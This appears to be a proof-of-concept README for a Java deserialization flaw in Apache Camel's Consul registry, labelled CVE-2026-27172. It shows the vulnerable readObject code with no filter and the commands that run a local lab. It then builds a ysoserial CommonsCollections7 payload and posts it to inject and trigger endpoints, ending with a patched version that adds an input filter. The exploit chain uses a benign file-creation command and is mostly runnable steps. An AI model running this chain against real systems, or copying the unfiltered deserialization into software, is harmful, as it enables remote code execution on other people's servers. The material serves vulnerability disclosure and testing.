// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

mvn clean package -DskipTests
mvn spring-boot:run

curl http://localhost:8080/exploit/init

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

curl http://localhost:8080/exploit/trigger

ls -la /tmp/pwned

static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

CVE-2026-27172/
├── pom.xml                          # Maven 設定 (影響を受ける camel-consul バージョン)
├── README.md                        # このファイル
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot エントリポイント
    │   ├── ConsulRegistryRoute.java  # Camel ルート (無効; 実際の使用例を示す)
    │   └── ExploitController.java    # PoC 用 REST エンドポイント
    └── resources/
        └── application.properties